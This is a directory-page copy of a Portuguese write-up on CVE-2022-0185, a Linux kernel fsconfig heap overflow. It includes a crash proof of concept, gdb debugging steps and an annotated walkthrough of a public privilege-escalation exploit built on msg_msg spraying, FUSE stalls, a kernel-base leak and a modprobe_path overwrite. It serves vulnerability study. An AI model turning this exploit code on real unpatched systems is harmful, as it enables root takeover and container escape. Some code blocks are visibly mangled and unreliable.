Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-0185 — CVE-2022-0185 POC e Docker e Análise write up | Kitploit
Ferramentas/GitHubGitHub/chenaotian/cve-2022-0185
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoAprendizado e EducaçãoEscape de ContêinerExploração de BináriosLabs e Prática
GitHubchenaotian/cve-2022-0185

CVE-2022-0185

CVE-2022-0185 POC e Docker e Análise write up

Ver Repositório
37128há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-0185 escalada de privilégios (escape) no kernel Linux

[Índice]

Resumo da vulnerabilidade

ID da vulnerabilidade: CVE-2022-0185

Pontuação da vulnerabilidade:

Produto afetado: kernel Linux - chamada de sistema fsconfig

Versões afetadas: kernel Linux 5.1-rc1 ~ 5.16.2

Condições de exploração: local no Linux; possui privilégio CAP_SYS_ADMIN (pode ser obtido diretamente com unshare, equivalente a sem restrições)

Efeito da exploração: elevação de privilégios local; escape de contêiner

Obter código-fonte: git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git -b Ubuntu-hwe-5.11-5.11.0-27.29_20.04.1 --depth 1

ou https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/

Configuração do ambiente

Ambiente de depuração

Docker de compilação do kernel 5.X: chenaotian/kernelcompile

Docker de análise de vulnerabilidade: chenaotian/cve-2022-0185

  • Preparados dois kernels, um de distribuição e um compilado por mim

    • Um kernel de distribuição baixado (5.11.0-44) para verificar e depurar o exploit (o kernel de distribuição não trava)
    • Um kernel compilado com símbolos (5.13) para depuração do PoC com símbolos
  • Instalar qemu, gdb, gdb-peda, etc.

  • Arquivos relacionados à vulnerabilidade em /root/cve-2022-0185

    • boot_exp.sh usado para iniciar o ambiente de verificação do exploit, kernel sem símbolos 5.11.0-44 de distribuição
    • boot_poc.sh usado para iniciar o ambiente de verificação do PoC; pode travar o kernel, mas não executa o exploit; kernel compilado por mim com símbolos 5.13
    • Diretório exp, código-fonte do exploit (autor: BitsByWill); basta compilar exploit_fuse.

Ambiente qemu: https://github.com/chenaotian/CVE-2022-0185/tree/main/qemuANDexp

Ambiente de verificação no Ubuntu 20.04

Ambiente de execução do exploit em máquina virtual Ubuntu 20.04 executando o exploit original

Preparar uma máquina virtual Ubuntu 20.04 e depois substituir o kernel:```shell apt-get install linux-image-5.11.0-44-generic

grep menuentry /boot/grub/grub.cfg vim /etc/default/grub #修改 GRUB_DEFAULT 选项为上面结果中想要启动内核的下标 update-grub #如果不生效的话则直接进入/boot 目录将之前的内核相关文件(带之前内核编号的文件)全部删掉,然后启动时候报找不到内核,然后手动选择内核启动也可以

#编译exp make fuse ./exploit

root@kitploit:~
Efeito de escalonamento de privilégios

![image-20220302154151113](https://assets.kitploit.com/production/public/readmes/23851/8a05fdeba02fe0085dd469683ac49ca6e97ab8f291d904ed417ac022fe68ac76.png)

## Princípio da vulnerabilidade

A chamada de sistema onde a vulnerabilidade ocorre é a opção `FSCONFIG_SET_STRING` em `fsconfig`. Esta chamada de sistema é usada para configurar o contexto de um sistema de arquivos já aberto. **A condição prévia necessária é ter a capacidade `CAP_SYS_ADMIN`:**

> O principal objetivo do `fsopen` é criar um contexto de sistema de arquivos, associá-lo a um descritor de arquivo e retornar esse descritor. Após `fsopen`, vem o `fsconfig`. Pelo significado literal, podemos adivinhar que, depois de criar um contexto de sistema de arquivos com `fsopen`, o `fsconfig` provavelmente é usado para configurar o conteúdo desse contexto. Na verdade, o `fsconfig` é realmente usado principalmente para esse trabalho de configuração. Além do contexto do sistema de arquivos, ele também suporta outras operações.

### Ponto de ocorrência da vulnerabilidade

Primeiramente, a vulnerabilidade aparece na função `legacy_parse_param`:

linux-5.11\fs\fs_context.c : 502 : legacy_parse_param```c
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
	struct legacy_fs_context *ctx = fc->fs_private;
	unsigned int size = ctx->data_size;
	size_t len = 0;

	··· ···
	··· ···

	switch (param->type) {
	case fs_value_is_string:
		len = 1 + param->size;
		fallthrough;
	··· ···
	}

	if (len > PAGE_SIZE - 2 - size) //此处边界检查有问题
		return invalf(fc, "VFS: Legacy: Cumulative options too large");
	if (strchr(param->key, ',') ||
	    (param->type == fs_value_is_string &&
	     memchr(param->string, ',', param->size)))
		return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
			      param->key);
	if (!ctx->legacy_data) {
		ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); //在第一次时会分配一页大小
		if (!ctx->legacy_data)
			return -ENOMEM;
	}

	ctx->legacy_data[size++] = ',';
	len = strlen(param->key);
	memcpy(ctx->legacy_data + size, param->key, len);
	size += len;
	if (param->type == fs_value_is_string) {
		ctx->legacy_data[size++] = '=';
		memcpy(ctx->legacy_data + size, param->string, param->size); //拷贝,可能越界
		size += param->size;
	}
	ctx->legacy_data[size] = '\0';
	ctx->data_size = size;
	ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
	return 0;
}

O ponto crucial está no memcpy subsequente, que copia o param->string que passamos para ctx->legacy_data. A verificação de se a cópia ultrapassa os limites está na condição anterior (len > PAGE_SIZE - 2 - size). Essa verificação tem um problema: o tipo da verificação é size_t, ou seja, unsigned int. Se size > PAGE_SIZE - 2, ocorre um estouro de inteiro que inverte o resultado, fazendo com que len < PAGE_SIZE - 2 - size, e assim a verificação é aprovada. Posteriormente, na cópia, size é maior que PAGE_SIZE - 2, causando uma cópia para fora dos limites.

Algumas estruturas de dados utilizadas:```c struct fs_context { const struct fs_context_operations ops; struct mutex uapi_mutex; / Userspace access mutex */ struct file_system_type *fs_type; void fs_private; / The filesystem's context */ void *sget_key; struct dentry root; / The root and superblock */ struct user_namespace user_ns; / The user namespace for this mount */ struct net net_ns; / The network namespace for this mount */ const struct cred cred; / The mounter's credentials / struct p_log log; / Logging buffer */ const char source; / The source name (eg. dev path) */ void security; / Linux S&M options / void s_fs_info; / Proposed s_fs_info / unsigned int sb_flags; / Proposed superblock flags (SB_) / unsigned int sb_flags_mask; / Superblock flags that were changed / unsigned int s_iflags; / OR'd with sb->s_iflags / unsigned int lsm_flags; / Information flags from the fs to the LSM / enum fs_context_purpose purpose:8; enum fs_context_phase phase:8; / The phase the context is in / bool need_free:1; / Need to call ops->free() / bool global:1; / Goes into &init_user_ns / bool oldapi:1; / Coming from mount(2) */ };

struct legacy_fs_context { char legacy_data; / Data page for legacy filesystems */ size_t data_size; enum legacy_fs_param param_type; };

struct fs_parameter { const char key; / Parameter name / enum fs_value_type type:8; / The type of value here */ union { char *string; void *blob; struct filename *name; struct file *file; }; size_t size; int dirfd; };

root@kitploit:~
### Pilha de Chamadas

Vamos analisar a pilha de chamadas de funções, a primeira entrada é definitivamente a chamada de sistema `fsconfig`:

linux-5.11\fs\fsopen.c : 314 : SYSCALL_DEFINE5(fsconfig,...```c
SYSCALL_DEFINE5(fsconfig,
		int, fd,
		unsigned int, cmd,
		const char __user *, _key,
		const void __user *, _value,
		int, aux)
{
	struct fs_context *fc;
	struct fd f;
	int ret;
	int lookup_flags = 0;

	struct fs_parameter param = {
		.type	= fs_value_is_undefined,
	};

	··· ···
	f = fdget(fd);
	if (!f.file)
		return -EBADF;
	ret = -EINVAL;
	if (f.file->f_op != &fscontext_fops)
		goto out_f;

	fc = f.file->private_data; //设置fc
    
	··· ···
	switch (cmd) {
	··· ···
	case FSCONFIG_SET_STRING:
		param.type = fs_value_is_string;
        //初始化结构体中的联合体中的string成员为用户传入的字符串
		param.string = strndup_user(_value, 256); 
		if (IS_ERR(param.string)) {
			ret = PTR_ERR(param.string);
			goto out_key;
		}
		param.size = strlen(param.string);//设置size
		break;
	··· ···
    ··· ···
	}

	ret = mutex_lock_interruptible(&fc->uapi_mutex);
	if (ret == 0) {
		ret = vfs_fsconfig_locked(fc, cmd, &param);
		mutex_unlock(&fc->uapi_mutex);
	}

	··· ···
    ··· ···
}

Na entrada da chamada de sistema fsconfig, primeiro inicializa a estrutura de contexto do sistema de arquivos fc com base no descritor de arquivo fd, e então define a estrutura param de acordo com os parâmetros passados pelo usuário. Essa variável de estrutura é o param que será usado posteriormente na função de vulnerabilidade legacy_parse_param. Em seguida, entra na função vfs_fsconfig_locked: linux-5.11\fs\fsopen.c : 216 : vfs_fsconfig_locked```c static int vfs_fsconfig_locked(struct fs_context *fc, int cmd, struct fs_parameter *param) { struct super_block *sb; int ret;

root@kitploit:~
ret = finish_clean_context(fc);
if (ret)
	return ret;
switch (cmd) {
··· ···
default:
	if (fc->phase != FS_CONTEXT_CREATE_PARAMS &&
	    fc->phase != FS_CONTEXT_RECONF_PARAMS)
		return -EBUSY;

	return vfs_parse_fs_param(fc, param);
}
fc->phase = FS_CONTEXT_FAILED;
return ret;

}

root@kitploit:~
Primeiro, a função `finish_clean_context` é chamada, que invoca a função `legacy_init_fs_context` para registrar a tabela de callbacks. Esta tabela de callbacks inclui a função onde a vulnerabilidade reside, `legacy_parse_param`.

linux-5.11\fs\fs_context.c ```c
 int finish_clean_context(struct fs_context *fc)
 {
     ··· ···
 		error = legacy_init_fs_context(fc);
 	··· ···
 }
 
 static int legacy_init_fs_context(struct fs_context *fc)
 {
 	fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
 	if (!fc->fs_private)
 		return -ENOMEM;
 	fc->ops = &legacy_fs_context_ops; //注册回调函数表
 	return 0;
 }
 
 const struct fs_context_operations legacy_fs_context_ops = {
 	.free			= legacy_fs_context_free,
 	.dup			= legacy_fs_context_dup,
 	.parse_param		= legacy_parse_param, //漏洞函数
 	.parse_monolithic	= legacy_parse_monolithic,
 	.get_tree		= legacy_get_tree,
 	.reconfigure		= legacy_reconfigure,
 };

Depois do registro concluído, entra na função vfs_parse_fs_param para processar os parâmetros. Aqui, será chamada a função de callback recém-registrada, que é a função vulnerável.

linux-5.11\fs\fs_context.c : 98 : vfs_parse_fs_param```c int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param) { ··· ···

root@kitploit:~
if (fc->ops->parse_param) {
	ret = fc->ops->parse_param(fc, param); //漏洞所在函数
	if (ret != -ENOPARAM)
		return ret;
}

··· ···
··· ···

} EXPORT_SYMBOL(vfs_parse_fs_param);

root@kitploit:~
Visão geral a seguir

- SYSCALL_DEFINE5(fsconfig,... : entrada de chamada do sistema
  - vfs_fsconfig_locked
    - finish_clean_context
      - legacy_init_fs_context : registrar tabela de funções de retorno de chamada
    - vfs_parse_fs_param
      - legacy_parse_param : vulnerabilidade

## POC de reprodução de vulnerabilidade

POC de reprodução de vulnerabilidade:```c
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)

int main(void)
{
        char* val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
        int fd = 0;
        fd = fsopen("ext4", 0);
        if (fd < 0) {
                puts("Opening");
                exit(-1);
        }
        for (int i = 0; i < 5000; i++) {
                fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
        }
        return 0;
}

Após compilação estática, empacotar no sistema de arquivos e inicializar o kernel com qemu```shell cd ~/cve-2022-0185 gcc poc.c --static cp a.out rootfs/a.out cd rootfs find . | cpio -o --format=newc > ../rootfs.img cd ../ ./boot_poc.sh

root@kitploit:~
Em outro terminal, use gdb para depuração remota:```shell
cd ~ 
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b legacy_parse_param 
c

Na primeira chamada:

legacy_data ainda não foi inicializado:

image-20220218115424519

Em seguida, kmalloc é chamado para inicializar, e depois a string de entrada é copiada para legacy_data. Quando a função retorna, a primeira string já foi copiada e um prefixo ',=' é adicionado, totalizando 0x69 de comprimento.

image-20220218115629610

Como fazemos múltiplas chamadas ao fsconfig para copiar strings, a cada iteração inserimos 0x67 caracteres 'A'. A função legacy_parse_param adiciona o prefixo ',=', resultando em 0x69 bytes copiados por chamada. Após 39 cópias, o comprimento de legacy_data atinge 0xfff. Após 39 cópias, interrompemos e verificamos:

image-20220218120003864

Observamos que data_size de legacy_data já atingiu 0xfff:

image-20220218143242019

O espaço de memória de 0x1000 alocado por kmalloc está prestes a atingir o limite. Verificamos o local da vulnerabilidade:

image-20220218143643847

0x68 é menor que 0xffff.... invertido, então a verificação passa. Após a cópia, há um estouro de buffer, sobrescrevendo o conteúdo de memória subsequente:

image-20220218143840967

Em seguida, ao continuar a execução, o kernel trava:

image-20220218144210566

[Original] Exploit EXP

De acordo com o write-up do autor do exploit: CVE-2022-0185 - Winning a $31337 Bounty after Pwning Ubuntu and Escaping Google's KCTF Containers. Ele implementou duas formas de exploração: a escalada de privilégios no Ubuntu 20.04 com kernel versão 5.11.0-44, e a exploração que rendeu recompensa no KCTF do Google. Aqui analisamos principalmente a exploração no Ubuntu 20.04 com kernel versão 5.11.0-44.

Conhecimento Prévio

Leitura/Escrita Arbitrária com msg_msg

O autor do exploit já utilizou esse método em dois desafios CTF: fire_of_salvation e wall_of_perdition do corCTF 2021. A técnica consiste em sobrescrever a estrutura de cabeçalho da mensagem msg_msg por meio de estouro de buffer ou UAF para realizar leitura/escrita arbitrária. Não faremos uma análise detalhada dessa técnica, apenas das partes utilizadas neste exploit.

msgsnd e msgrcv são funções do kernel para envio e recebimento de mensagens na comunicação entre processos. Em resumo, a mensagem é enviada ao kernel, que mantém a fila de mensagens correspondente, e ao receber, a mensagem é retirada da fila.

Definição do código fonte do msgsnd, cuja funcionalidade principal é executada por do_msgsnd:

linux-hwe-5.11_5.11.0.orig\linux-5.11\ipc\msg.c : 840```c static long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg) { struct msg_queue *msq; struct msg_msg *msg; ··· ··· if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0) return -EINVAL; //检查长度,默认最长8192(可以调试断住看一下) ··· ··· //主要有用的功能在这里 msg = load_msg(mtext, msgsz); //调用load_msg 分配内存并从用户空间将消息拷贝过来。 ··· ··· msg->m_type = mtype; msg->m_ts = msgsz;

root@kitploit:~
··· ···
//后面代码将msg 添加到消息队列。    
··· ···

}

long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz, int msgflg) { ··· ··· return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg); }

SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz, int, msgflg) { return ksys_msgsnd(msqid, msgp, msgsz, msgflg); }

root@kitploit:~
`do_msgsnd` permite um comprimento máximo da mensagem de 8192:

![image-20220303103936073](https://assets.kitploit.com/production/public/readmes/23851/a3096424c425c66976d945886e4f52aea5d63ffba9f71d1195b28a335267556f.png)

Em seguida, precisamos analisar a função `load_msg`, já que ela usa a função `alloc_msg` para alocar espaço de memória e organizar a estrutura da mensagem. Vamos primeiro analisar a função `alloc_msg`:

linux-5.11\ipc\msgutil.c : 46 : alloc_msg```c
static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;
    //#define DATALEN_MSG	((size_t)PAGE_SIZE-sizeof(struct msg_msg))
	alen = min(len, DATALEN_MSG); 
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
	··· ···
    ··· ···
	while (len > 0) {
		struct msg_msgseg *seg;

		cond_resched();
        //#define DATALEN_SEG	((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
		alen = min(len, DATALEN_SEG);
		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
		if (seg == NULL)
			goto out_err;
		*pseg = seg;
		seg->next = NULL;
		pseg = &seg->next;
		len -= alen;
	}

	··· ···
}

Aqui, a mensagem é dividida em segmentos de acordo com o comprimento. Se o comprimento da mensagem + o comprimento do cabeçalho da mensagem for maior que uma página (4k), ela será armazenada em segmentos. O primeiro segmento consiste no cabeçalho da mensagem + segmento de mensagem 1, e o cabeçalho da mensagem contém um ponteiro para o segundo segmento; o segundo segmento é composto pelo cabeçalho do segmento + segmento de mensagem 2.... Conforme mencionado anteriormente, o comprimento máximo da mensagem é 8192, portanto a mensagem pode ser dividida em no máximo 3 segmentos. Cada segmento tem um comprimento máximo de uma página (4k), e o mínimo deve incluir o comprimento do cabeçalho da mensagem de 0x30, então o intervalo de tamanho de alocação de heap que podemos controlar é kmalloc-64 ~ kmalloc-4k. As estruturas do cabeçalho da mensagem e do cabeçalho do segmento são as seguintes:```c struct msg_msg {//消息头结构体 struct list_head m_list; //两个指针 long m_type; size_t m_ts; /* message text size */ struct msg_msgseg *next; void security; / the actual message follows immediately */ }; struct msg_msgseg { struct msg_msgseg next; / the next part of the message follows immediately */ };

root@kitploit:~
Portanto, a estrutura da composição da mensagem é semelhante a:

![image-20220304093214147](https://assets.kitploit.com/production/public/readmes/23851/c293330c8e179cbe189b7f24631f238fb03b2b56d2571dda30298b4c94f5431d.png)

As mensagens existem em filas de mensagens, gerenciadas por uma lista duplamente encadeada. As próprias mensagens são armazenadas em segmentos, conectados por uma lista simplesmente encadeada. Cada segmento tem no máximo uma página (4k). A seguir, analisamos a função `do_msgsnd`:

linux-5.11\ipc\msgutil.c : 84 : load_msg```c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg *seg;
	int err = -EFAULT;
	size_t alen;

	msg = alloc_msg(len); //根据消息长度生成上图那种结构体
	if (msg == NULL)
		return ERR_PTR(-ENOMEM);

	alen = min(len, DATALEN_MSG);     //根据分段情况从用户空间分段拷贝,这里拷贝第一段
	if (copy_from_user(msg + 1, src, alen))
		goto out_err;

	for (seg = msg->next; seg != NULL; seg = seg->next) { //按顺序拷贝剩下的部分
		len -= alen;
		src = (char __user *)src + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_from_user(seg + 1, src, alen))
			goto out_err;
	}
    ··· ···
    ··· ···
}

As partes seguintes copiam sequencialmente do espaço do usuário de acordo com a segmentação das mensagens.

Em seguida, veja a função de recebimento de mensagens msgrcv. Da mesma forma, a lógica principal está na função do_msgrcv. Aqui está um pequeno detalhe, sem análise detalhada:

linux-5.11\ipc\msg.c : 1090 : do_msgrcv```c static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg, long (*msg_handler)(void __user *, struct msg_msg *, size_t)) { ··· ··· if (msgflg & MSG_COPY) { if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT)) return -EINVAL; copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax)); if (IS_ERR(copy)) //搜索要发送的消息之前,准备一个消息备份(申请内存),用来存放消息 return PTR_ERR(copy); } ··· ··· for (;;) { ··· ··· msg = find_msg(msq, &msgtyp, mode); if (!IS_ERR(msg)) { ··· ··· if (msgflg & MSG_COPY) { msg = copy_msg(msg, copy); //找到之后拷贝到消息备份中 goto out_unlock0; } ··· ··· }
··· ··· } ··· ··· bufsz = msg_handler(buf, msg, bufsz); //将消息备份发送到用户 free_msg(msg); //释放消息备份

root@kitploit:~
return bufsz;

}

root@kitploit:~
Quando o sinalizador `MSG_EXCEPT` está presente em `msgflg` (configuração padrão, opção de compilação `CONFIG_CHECKPOINT_RESTORE`), o envio de mensagens de backup é utilizado. A lógica específica é: primeiro, aloca-se uma estrutura de mensagem como backup da mensagem; após encontrar a mensagem, copia-se primeiro para o backup, depois envia-se para o espaço do usuário, e então libera-se o backup. **Assim, a mensagem original não é removida da fila (unlink)**, e o que queremos é exatamente "a ação de não remover a mensagem original da fila (`unlink`)". Porque às vezes, durante um estouro, podemos sobrescrever o ponteiro da lista duplamente ligada no cabeçalho da mensagem, e isso faria com que o `unlink` causasse uma falha, o que não é o resultado desejado.

Os conceitos são basicamente esses. As técnicas de exploração envolvidas são:

- Usar a função `msgsnd` permite realizar operações de spray no intervalo `kmalloc-64`~`kmalloc-4k` (técnica tradicional)
- Se for possível sobrescrever o membro `m_ts` do cabeçalho `msg_msg`, então o comprimento da mensagem será alterado, causando uma leitura fora dos limites (nova técnica)
- Se for possível, **durante o processo load_msg**, sobrescrever o membro `struct msg_msgseg *next` do cabeçalho `msg_msg`, então podemos causar leitura/escrita arbitrária de endereços. Isso normalmente exigiria uma condição de corrida usando `userfaulted`, mas os kernels mais recentes não permitem mais que o espaço do usuário chame `userfaulted`. Aqui, uma nova abordagem é adotada.

#### Alternativa para userfaulted

De acordo com a análise da função `load_msg` acima, após `alloc_msg` alocar a memória da mensagem, a mensagem é copiada do espaço do usuário. Se a mensagem for longa e segmentada, ela precisa ser copiada em partes. Se for possível causar uma falta de página durante a cópia do primeiro segmento, fazendo com que a operação de cópia seja suspensa aguardando o tratamento da exceção, e nesse momento usar um estouro para sobrescrever o ponteiro `msg_msgseg *next` em `msg_msg`, quando o tratamento da exceção terminar e a cópia do segundo segmento continuar, ela se tornará uma sobrescrita arbitrária de conteúdo no endereço que especificamos (escrita arbitrária de endereço).

Normalmente, isso exigiria o registro de uma função de tratamento de `page fault` no espaço do usuário, mas as novas versões não permitem que processos não privilegiados chamem a chamada de sistema `userfaulted`. Aqui, uma nova abordagem é fornecida: usar o sistema de arquivos `fuse` no espaço do usuário. É possível registrar um sistema de arquivos no espaço do usuário usando `fuse`, com funções próprias como `read`, `write`, etc. Assim, quando ocorre uma falta de página, o controle ainda retorna ao espaço do usuário para tratar a interrupção.

Vale notar que o fuse não possui uma biblioteca compilada estaticamente. BitsByWill e D3v17 o adaptaram, removendo dlopen e outras coisas, e criaram um libfuse3.a que pode ser compilado estaticamente. Rápido, agradeça a BitsByWill e D3v17.

[Referência](https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019%20-%20Exploiting%20race%20conditions%20on%20Linux.pdf)

#### Vazamento de endereço

Aqui também é uma operação comum em kernel pwn: usar a estrutura `seq_operations` para vazar endereços, pois ela contém apenas ponteiros de função:```c
struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

Especificamente, ao abrir /proc/self/stat, chama a função single_open, inicializando a estrutura seq_operations:```c int single_open(struct file *file, int (*show)(struct seq_file *, void *), void *data) { struct seq_operations *op = kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT); int res = -ENOMEM;

root@kitploit:~
if (op) {
	op->start = single_start;
	op->next = single_next;
	op->stop = single_stop;
	op->show = show;
	res = seq_open(file, op);

··· ··· }

root@kitploit:~
Inicialize todos os ponteiros de função na estrutura `single_open` para funções do kernel; vazando qualquer um deles, é possível vazar o endereço base do kernel.

#### Escalação de Privilégios

A técnica tradicional do kernel pwn `modprobe_path`, uma string no kernel que aponta para um caminho, por padrão `/sbin/modprobe````c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";

Quando um arquivo de formato não reconhecido é executado, o kernel executa o arquivo apontado por modprobe_path. Como isso é executado pelo kernel, tem privilégios de root. Geralmente, se for possível modificar essa string, considera-se que a escalada de privilégio foi bem-sucedida.

Análise do exploit (original)

Aqui, não compilei um ambiente que atenda aos requisitos do exploit (sou muito inexperiente). Então, copiei diretamente o vmlinuz do kernel 5.11.0-44-generic instalado via apt e o utilizei. Após iniciar com qemu, foi possível depurá-lo. Possivelmente devido a uma má configuração da parte cap ou do fuse, executar o exploit como um usuário não-root ainda apresenta alguns problemas. Por isso, durante a depuração com qemu, executei o exploit como root, já que o exploit modifica o modprobe_path do kernel.

Para obter o exploit, acesse diretamente o github do autor. Ele pode ser compilado em um ambiente Ubuntu 20. Aqui, apenas fiz a análise, depuração e validação.

Estrutura do exploit: CVE-2022-0185-master\exploit_fuse.c : 258 : main```c int main(int argc, char **argv, char **envp) { ··· ···

root@kitploit:~
if (!fork()) //子进程注册一个fuse 文件系统,用于提供userfaulted
{
    fuse_main(sizeof(fargs_evil)/sizeof(char *) -1 , fargs_evil, &evil_ops, NULL);
}

sleep(1);
spray_4k(30);//堆将现有的free kmalloc消耗掉
uint64_t kbase = 0;
while(!kbase)  //泄露kernel 基址部分
{
    kbase = do_leak();
}
··· ···

spray_4k(30);//堆将现有的free kmalloc消耗掉
while (1) 
{
    do_win(); //任意地址写修改modprobe_path完成利用部分
    ··· ···
}

··· ···

}

root@kitploit:~
O exploit é dividido principalmente em duas partes: vazamento e escrita em endereço arbitrário.

#### Vazamento do endereço base do kernel

Acho que a parte de vazamento deste exploit é muito engenhosa: primeiro, transborda para cobrir partes não utilizadas, depois aloca a struct que precisa ser sobrescrita por overflow, de forma a não danificar partes não intencionadas do alvo, e então continua o overflow para cobrir precisamente o alvo.

Principalmente a função `do_leak`

CVE-2022-0185-master\exploit_fuse.c : 33 : do_leak```c
uint64_t do_leak () 
{
    uint64_t kbase = 0;
    char pat[0x1000] = {0};
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    int targets[0x10] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1018;

    // spray msg_msg
    for (int i = 0; i < 8; i++)   //[1]先申请8个独立的消息队列,每个里面存放一条消息
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0); 
    }/*消息大小 0x1018-0x30,实际会分成两段
      *第一段 消息头msg_msg 0x30 和消息0xfd 共0x1000 kmalloc-4k
      *第二段 消息段头 msg_msgseg 0x8 和消息0x18 共0x20 kmalloc-32*/

    memset(pat, 0x42, sizeof(pat));
    pat[sizeof(pat)-1] = '\x00';
    puts("[*] Opening ext4 filesystem");

    fd = fsopen("ext4", 0);
    if (fd < 0) 
    {
            puts("fsopen: Remember to unshare");
            exit(-1);
    }

    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++)  
    {  //[2]溢出准备,多次调用fsconfig 将legacy_data 长度填充到4095准备溢出
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }
    
    // overflow, hopefully causes an OOB read on a potential msg_msg object below
    puts("[*] Overflowing...");
    pat[21] = '\x00';
    char evil[] = "\x60\x10";
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    /*[3]溢出部分,输入长度21,由于每次溢出会自动加上",="所以实际23,再加上之前长度4095总共溢出22
     *这里正常情况发生溢出溢出的是还没被使用(分配)过的内存*/

    // spray more msg_msg
    for (int i = 8; i < 0x10; i++) 
    {//[4]继续msgsnd,申请msg_msg 结构体,大概率申请到将legacy_data后面的地方
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }//msg_msg 头会覆盖刚刚溢出的内容

    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
    /*[5]继续溢出,legacy_data+size 的指针指向的位置正好在msg_msg结构体的中间,m_ts 位之前
     *刚好覆盖m_ts,修改msg 的大小*/

    puts("[*] Done heap overflow");
    puts("[*] Spraying kmalloc-32");
    for (int i = 0; i < 100; i++) 
    {//[6]上面提到过的泄露地址用结构体,多次打开stat,喷射多个0x20的seq_operations结构体
        open("/proc/self/stat", O_RDONLY);
    }//大概率会喷射到消息第二段0x20(kmalloc-32) 的后面

    size = 0x1060;//接受消息的长度
    puts("[*] Attempting to recieve corrupted size and leak data");

    // go through all targets qids and check if we hopefully get a leak
    for (int j = 0; j < 0x10; j++) 
    {//[7]接受消息,某一个消息的长度被改大,则会越界读到后面的seq_operations结构体
        get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        kbase = do_check_leak(recieved);//泄露成功
        if (kbase) 
        {
            close(fd);
            return kbase;
        }
    }

    puts("[X] No leaks, trying again");
    return 0;
}
  1. Aqui, antes e depois da operação de estouro, será usado msgsnd para alocar uma parte dos blocos kmalloc, com comprimento específico da mensagem 0x1018-0x30 = 0xfe8. Então, de acordo com a estrutura da mensagem, ela será dividida em dois segmentos de 0xfd e 0x18:

    • Primeiro segmento: cabeçalho da mensagem msg_msg 0x30 e mensagem 0xfd, total 0x1000, pertence a kmalloc-4k
    • Segundo segmento: cabeçalho do segmento msg_msgseg 0x8 e mensagem 0x18, total 0x20, pertence a kmalloc-32
  2. Preparar o estouro, usar fsconfig para preencher legacy_data (tamanho solicitado 4096, pertence a kmalloc-4k) até o comprimento 4095, aqui usa 33 'A's, na verdade cada vez adiciona os dois caracteres ",=", então cada preenchimento real é de 35 caracteres, preenchendo 117 vezes exatamente 4095.

    Endereço inicial e final da página:

    image-20220304094122226

